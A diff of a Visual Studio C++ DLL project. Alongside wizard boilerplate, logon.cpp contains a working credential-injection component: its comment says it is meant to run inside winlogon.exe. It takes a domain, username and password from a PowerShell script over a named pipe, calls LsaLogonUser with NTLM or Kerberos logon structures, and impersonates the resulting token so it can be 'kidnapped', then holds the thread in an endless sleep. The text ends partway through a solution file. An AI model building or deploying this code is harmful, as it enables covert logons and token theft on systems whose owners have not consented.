This is the filters file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the association between the files in your project
|
||||
and the filters. This association is used in the IDE to show grouping of files with
|
||||
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
|
||||
"Source Files" filter).
|
||||
|
||||
LogonUser.cpp
|
||||
This is the main application source file.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other standard files:
|
||||
|
||||
StdAfx.h, StdAfx.cpp
|
||||
These files are used to build a precompiled header (PCH) file
|
||||
named LogonUser.pch and a precompiled types file named StdAfx.obj.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other notes:
|
||||
|
||||
AppWizard uses "TODO:" comments to indicate parts of the source code you
|
||||
should add to or customize.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
@@ -0,0 +1,8 @@
|
||||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// LogonUser.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
||||
@@ -0,0 +1,20 @@
|
||||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <Windows.h>
|
||||
#include <NTSecAPI.h>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||
|
||||
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||
|
||||
#include <SDKDDKVer.h>
|
||||
@@ -0,0 +1,48 @@
|
||||
========================================================================
|
||||
DYNAMIC LINK LIBRARY : logon Project Overview
|
||||
========================================================================
|
||||
|
||||
AppWizard has created this logon DLL for you.
|
||||
|
||||
This file contains a summary of what you will find in each of the files that
|
||||
make up your logon application.
|
||||
|
||||
|
||||
logon.vcxproj
|
||||
This is the main project file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the version of Visual C++ that generated the file, and
|
||||
information about the platforms, configurations, and project features selected with the
|
||||
Application Wizard.
|
||||
|
||||
logon.vcxproj.filters
|
||||
This is the filters file for VC++ projects generated using an Application Wizard.
|
||||
It contains information about the association between the files in your project
|
||||
and the filters. This association is used in the IDE to show grouping of files with
|
||||
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
|
||||
"Source Files" filter).
|
||||
|
||||
logon.cpp
|
||||
This is the main DLL source file.
|
||||
|
||||
When created, this DLL does not export any symbols. As a result, it
|
||||
will not produce a .lib file when it is built. If you wish this project
|
||||
to be a project dependency of some other project, you will either need to
|
||||
add code to export some symbols from the DLL so that an export library
|
||||
will be produced, or you can set the Ignore Input Library property to Yes
|
||||
on the General propert page of the Linker folder in the project's Property
|
||||
Pages dialog box.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other standard files:
|
||||
|
||||
StdAfx.h, StdAfx.cpp
|
||||
These files are used to build a precompiled header (PCH) file
|
||||
named logon.pch and a precompiled types file named StdAfx.obj.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
Other notes:
|
||||
|
||||
AppWizard uses "TODO:" comments to indicate parts of the source code you
|
||||
should add to or customize.
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
@@ -0,0 +1,19 @@
|
||||
// dllmain.cpp : Defines the entry point for the DLL application.
|
||||
#include "stdafx.h"
|
||||
|
||||
BOOL APIENTRY DllMain( HMODULE hModule,
|
||||
DWORD ul_reason_for_call,
|
||||
LPVOID lpReserved
|
||||
)
|
||||
{
|
||||
switch (ul_reason_for_call)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,262 @@
|
||||
// logon.cpp : Defines the exported functions for the DLL application.
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
using namespace std;
|
||||
|
||||
size_t wcsByteLen( const wchar_t* str );
|
||||
void InitUnicodeString( UNICODE_STRING& str, const wchar_t* value, BYTE* buffer, size_t& offset );
|
||||
PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size);
|
||||
PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size);
|
||||
size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address);
|
||||
void WriteErrorToPipe(string errorMsg, HANDLE pipe);
|
||||
|
||||
extern "C" __declspec( dllexport ) void VoidFunc();
|
||||
|
||||
|
||||
//The entire point of this code is to call LsaLogonUser from within winlogon.exe
|
||||
extern "C" __declspec( dllexport ) void VoidFunc()
|
||||
{
|
||||
//Open a pipe which will receive data from the PowerShell script.
|
||||
HANDLE pipe = CreateFile(L"\\\\.\\pipe\\sqsvc", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
||||
if (pipe == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
const size_t strSize = 257;
|
||||
size_t bytesToRead = strSize * sizeof(wchar_t) - sizeof(wchar_t);
|
||||
wchar_t* domain = new wchar_t[strSize];
|
||||
wchar_t* username = new wchar_t[strSize];
|
||||
wchar_t* password = new wchar_t[strSize];
|
||||
DWORD bytesRead = 0;
|
||||
|
||||
BOOL success = ReadFile(pipe, domain, bytesToRead, &bytesRead, NULL);
|
||||
if (!success)
|
||||
{
|
||||
return;
|
||||
}
|
||||
domain[bytesRead/2] = '\0';
|
||||
bytesRead = 0;
|
||||
|
||||
success = ReadFile(pipe, username, bytesToRead, &bytesRead, NULL);
|
||||
if (!success)
|
||||
{
|
||||
return;
|
||||
}
|
||||
username[bytesRead/2] = '\0';
|
||||
bytesRead = 0;
|
||||
|
||||
success = ReadFile(pipe, password, bytesToRead, &bytesRead, NULL);
|
||||
if (!success)
|
||||
{
|
||||
return;
|
||||
}
|
||||
password[bytesRead/2] = '\0';
|
||||
bytesRead = 0;
|
||||
|
||||
//Get the logon type from the pipe
|
||||
USHORT logonType = 10;
|
||||
success = ReadFile(pipe, &logonType, 1, &bytesRead, NULL);
|
||||
if (!success)
|
||||
{
|
||||
return;
|
||||
}
|
||||
bytesRead = 0;
|
||||
|
||||
//Get the authentication package to use. 1 = Msv1_0, 2 = Kerberos
|
||||
USHORT authPackageToUse = 0;
|
||||
success = ReadFile(pipe, &authPackageToUse, 1, &bytesRead, NULL);
|
||||
if (!success)
|
||||
{
|
||||
return;
|
||||
}
|
||||
bytesRead = 0;
|
||||
|
||||
/////////////
|
||||
//Build the parameters to call LsaLogonUser with
|
||||
/////////////
|
||||
|
||||
//Get a handle to LSA
|
||||
HANDLE hLSA = NULL;
|
||||
NTSTATUS status = LsaConnectUntrusted(&hLSA);
|
||||
if (status != 0)
|
||||
{
|
||||
string errorMsg = "Error calling LsaConnectUntrusted. Error code: " + to_string(status);
|
||||
WriteErrorToPipe(errorMsg, pipe);
|
||||
return;
|
||||
}
|
||||
if (hLSA == NULL)
|
||||
{
|
||||
string errorMsg = "hLSA (LSA handle) is NULL, this shouldn't ever happen.";
|
||||
WriteErrorToPipe(errorMsg, pipe);
|
||||
return;
|
||||
}
|
||||
|
||||
//Build LsaLogonUser parameters
|
||||
LSA_STRING originName = {};
|
||||
char originNameStr[] = "";
|
||||
originName.Buffer = originNameStr;
|
||||
originName.Length = (USHORT)0;
|
||||
originName.MaximumLength = 0;
|
||||
|
||||
//Build the authentication package parameter based on the auth package the powershell script specified to use
|
||||
//Also get the AuthenticationInformation
|
||||
char* authPackageBuf = NULL;
|
||||
DWORD authBufferSize = 0;
|
||||
PVOID authBuffer = NULL;
|
||||
if (authPackageToUse == 1)
|
||||
{
|
||||
authPackageBuf = MSV1_0_PACKAGE_NAME;
|
||||
authBuffer = CreateNtlmLogonStructure(domain, username, password, &authBufferSize);
|
||||
}
|
||||
else if (authPackageToUse == 2)
|
||||
{
|
||||
authPackageBuf = MICROSOFT_KERBEROS_NAME_A;
|
||||
authBuffer = CreateKerbLogonStructure(domain, username, password, &authBufferSize);
|
||||
}
|
||||
else
|
||||
{
|
||||
string errorMsg = "Received an invalid auth package from the named pipe";
|
||||
WriteErrorToPipe(errorMsg, pipe);
|
||||
return;
|
||||
}
|
||||
|
||||
ULONG authPackage = 0;
|
||||
PLSA_STRING authPackageName = new LSA_STRING();
|
||||
authPackageName->Buffer = authPackageBuf;
|
||||
authPackageName->Length = (USHORT)strlen(authPackageBuf);
|
||||
authPackageName->MaximumLength = (USHORT)strlen(authPackageBuf);
|
||||
status = LsaLookupAuthenticationPackage(hLSA, authPackageName, &authPackage);
|
||||
if (status != 0)
|
||||
{
|
||||
int winError = LsaNtStatusToWinError(status);
|
||||
string errorMsg = "Call to LsaLookupAuthenticationPackage failed. Error code: " + to_string(winError);
|
||||
WriteErrorToPipe(errorMsg, pipe);
|
||||
return;
|
||||
}
|
||||
|
||||
//Get TokenSource
|
||||
HANDLE hProcess = GetCurrentProcess();//todo
|
||||
HANDLE procToken = NULL;
|
||||
success = OpenProcessToken(hProcess, TOKEN_ALL_ACCESS, &procToken);
|
||||
if (!success)
|
||||
{
|
||||
DWORD errorCode = GetLastError();
|
||||
string errorMsg = "Call to OpenProcessToken failed. Errorcode: " + to_string(errorCode);
|
||||
WriteErrorToPipe(errorMsg, pipe);
|
||||
return;
|
||||
}
|
||||
|
||||
TOKEN_SOURCE tokenSource = {};
|
||||
DWORD realSize = 0;
|
||||
success = GetTokenInformation(procToken, TokenSource, &tokenSource, sizeof(tokenSource), &realSize);
|
||||
if (!success)
|
||||
{
|
||||
string errorMsg = "Call to GetTokenInformation failed.";
|
||||
WriteErrorToPipe(errorMsg, pipe);
|
||||
return;
|
||||
}
|
||||
|
||||
//Misc out parameters
|
||||
PVOID profileBuffer = NULL;
|
||||
ULONG profileBufferSize = 0;
|
||||
LUID loginId;
|
||||
HANDLE token = NULL;
|
||||
QUOTA_LIMITS quotaLimits;
|
||||
NTSTATUS subStatus = 0;
|
||||
|
||||
//Log on the user
|
||||
status = LsaLogonUser(hLSA,
|
||||
&originName,
|
||||
static_cast<SECURITY_LOGON_TYPE>(logonType),
|
||||
authPackage,
|
||||
authBuffer,
|
||||
authBufferSize,
|
||||
0,
|
||||
&tokenSource,
|
||||
&profileBuffer,
|
||||
&profileBufferSize,
|
||||
&loginId,
|
||||
&token,
|
||||
"aLimits,
|
||||
&subStatus);
|
||||
|
||||
if (status != 0)
|
||||
{
|
||||
NTSTATUS winError = LsaNtStatusToWinError(status);
|
||||
string errorMsg = "Error calling LsaLogonUser. Error code: " + to_string(winError);
|
||||
WriteErrorToPipe(errorMsg, pipe);
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
//Impersonate the token with the current thread so it can be kidnapped
|
||||
ImpersonateLoggedOnUser(token);
|
||||
|
||||
//Put the thread to sleep so it can be impersonated
|
||||
string successMsg = "Logon succeeded, impersonating the token so it can be kidnapped and starting an infinite loop with the thread.";
|
||||
WriteErrorToPipe(successMsg, pipe);
|
||||
HANDLE permenantSleep = CreateMutex(NULL, false, NULL);
|
||||
while(1)
|
||||
{
|
||||
Sleep(MAXDWORD);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
|
||||
PVOID CreateKerbLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size)
|
||||
{
|
||||
size_t wcharSize = sizeof(wchar_t);
|
||||
|
||||
size_t totalSize = sizeof(KERB_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize);
|
||||
KERB_INTERACTIVE_LOGON* ntlmLogon = (PKERB_INTERACTIVE_LOGON)(new BYTE[totalSize]);
|
||||
size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(KERB_INTERACTIVE_LOGON);
|
||||
|
||||
ntlmLogon->MessageType = KerbInteractiveLogon;
|
||||
writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress);
|
||||
writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress);
|
||||
writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress);
|
||||
|
||||
*size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
|
||||
return ntlmLogon;
|
||||
}
|
||||
|
||||
|
||||
PVOID CreateNtlmLogonStructure(const wchar_t* domain, const wchar_t* username, const wchar_t* password, DWORD* size)
|
||||
{
|
||||
size_t wcharSize = sizeof(wchar_t);
|
||||
|
||||
size_t totalSize = sizeof(MSV1_0_INTERACTIVE_LOGON) + ((lstrlenW(domain) + lstrlenW(username) + lstrlenW(password)) * wcharSize);
|
||||
MSV1_0_INTERACTIVE_LOGON* ntlmLogon = (PMSV1_0_INTERACTIVE_LOGON)(new BYTE[totalSize]);
|
||||
size_t writeAddress = (UINT_PTR)ntlmLogon + sizeof(MSV1_0_INTERACTIVE_LOGON);
|
||||
|
||||
ntlmLogon->MessageType = MsV1_0InteractiveLogon;
|
||||
writeAddress += WriteUnicodeString(domain, &(ntlmLogon->LogonDomainName), (PVOID)writeAddress);
|
||||
writeAddress += WriteUnicodeString(username, &(ntlmLogon->UserName), (PVOID)writeAddress);
|
||||
writeAddress += WriteUnicodeString(password, &(ntlmLogon->Password), (PVOID)writeAddress);
|
||||
|
||||
*size = (DWORD)totalSize; //If the size is bigger than a DWORD, there is a gigantic bug somewhere.
|
||||
return ntlmLogon;
|
||||
}
|
||||
|
||||
//Returns the amount of bytes written.
|
||||
size_t WriteUnicodeString(const wchar_t* str, UNICODE_STRING* uniStr, PVOID address)
|
||||
{
|
||||
size_t size = lstrlenW(str) * sizeof(wchar_t);
|
||||
uniStr->Length = (USHORT)size;
|
||||
uniStr->MaximumLength = (USHORT)size;
|
||||
uniStr->Buffer = (PWSTR)address;
|
||||
memcpy(address, str, size);
|
||||
return size;
|
||||
}
|
||||
|
||||
void WriteErrorToPipe(string errorMsg, HANDLE pipe)
|
||||
{
|
||||
const char* error = errorMsg.c_str();
|
||||
DWORD bytesWritten = 0;
|
||||
WriteFile(pipe, error, strlen(error), &bytesWritten, NULL);
|
||||
}
|
||||
@@ -0,0 +1,176 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<ProjectGuid>{D248AC1C-B831-42AE-835A-1B98B2BF9DF3}</ProjectGuid>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<RootNamespace>logon</RootNamespace>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v120</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<LinkIncremental>true</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<LinkIncremental>false</LinkIncremental>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<Optimization>Disabled</Optimization>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<PrecompiledHeader>Use</PrecompiledHeader>
|
||||
<Optimization>MaxSpeed</Optimization>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;LOGON_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Windows</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<AdditionalDependencies>secur32.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h" />
|
||||
<ClInclude Include="targetver.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
</PrecompiledHeader>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
|
||||
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|x64'">false</CompileAsManaged>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
<ClCompile Include="logon.cpp" />
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
|
||||
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,39 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Text Include="ReadMe.txt" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="stdafx.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="targetver.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="logon.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="dllmain.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,8 @@
|
||||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// logon.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
||||
@@ -0,0 +1,25 @@
|
||||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||
// Windows Header Files:
|
||||
#include "targetver.h"
|
||||
#include <stdio.h>
|
||||
#include <tchar.h>
|
||||
#include <iostream>
|
||||
#include <string>
|
||||
#include <fstream>
|
||||
#include <ostream>
|
||||
#include <mutex>
|
||||
#include <Windows.h>
|
||||
#include <NTSecAPI.h>
|
||||
|
||||
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
||||
@@ -0,0 +1,8 @@
|
||||
#pragma once
|
||||
|
||||
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||
|
||||
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||
|
||||
#include <SDKDDKVer.h>
|
||||
@@ -0,0 +1,26 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio 2012
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "NTFSParserDLL", "NTFSParserDLL\NTFSParserDLL.vcxproj", "{5E42B778-F231-4797-B7FD-7D5BCA9738D0}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Debug|x64 = Debug|x64
|
||||
Release|Win32 = Release|Win32
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
